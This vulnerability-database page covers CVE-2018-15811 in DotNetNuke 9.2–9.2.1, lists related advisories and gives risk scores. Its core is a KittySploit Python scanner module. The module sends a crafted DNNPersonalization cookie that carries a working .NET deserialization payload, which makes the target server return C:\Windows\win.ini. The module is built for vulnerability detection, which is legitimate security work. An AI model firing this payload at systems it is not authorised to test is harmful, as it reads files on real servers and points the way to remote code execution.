DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization Detection
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| DotNetNuke Cookie Deserialization Remote Code Execution Exploit | 3 Apr 202000:00 | – | zdt | |
| CVE-2018-15811 | 3 Jul 201900:00 | – | attackerkb | |
| CVE-2018-18325 | 3 Jul 201900:00 | – | attackerkb | |
| The vulnerability of the DNN CMS system, related to insufficiently secure data encryption, allows attackers to gain unauthorized access to protected information. | 1 Dec 202100:00 | – | bdu_fstec | |
| CVE-2018-15811 | 2 Apr 202015:06 | – | circl | |
| DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| Dnnsoftware DotNetNuke Remote Code Execution (CVE-2018-15811) | 16 Dec 202100:00 | – | checkpoint_advisories | |
| CVE-2018-15811 | 3 Jul 201916:23 | – | cve | |
| CVE-2018-15811 | 3 Jul 201916:23 | – | cvelist |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DNN (DotNetNuke) versions 9."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization Detection',
'description': 'DNN (DotNetNuke) versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'dotnetnuke', 'crypto', 'deserialization', 'rce', 'kev', 'dnnsoftware', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-15811',
'https://github.com/dnnsoftware/Dnn.Platform/releases',
'http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html',
'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb',
],
'cve': 'CVE-2018-15811',
}
def run(self):
path = '/__'
r = self.http_request(method='GET', path=path, allow_redirects=False, headers={'Accept': 'text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01', 'X-Requested-With': 'XMLHttpRequest', 'Cookie': 'dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\\Windows\\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>'})
if not r or r.status_code != 404:
return False
body = r.text or ""
body_all = ('[extensions]', 'for 16-bit app support',)
if all(m in body for m in body_all):
self.set_info(severity='high', reason='DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
7.7High risk
Vulners AI Score7.7
CVSS 25
CVSS 3.17.5
EPSS0.76304
SSVC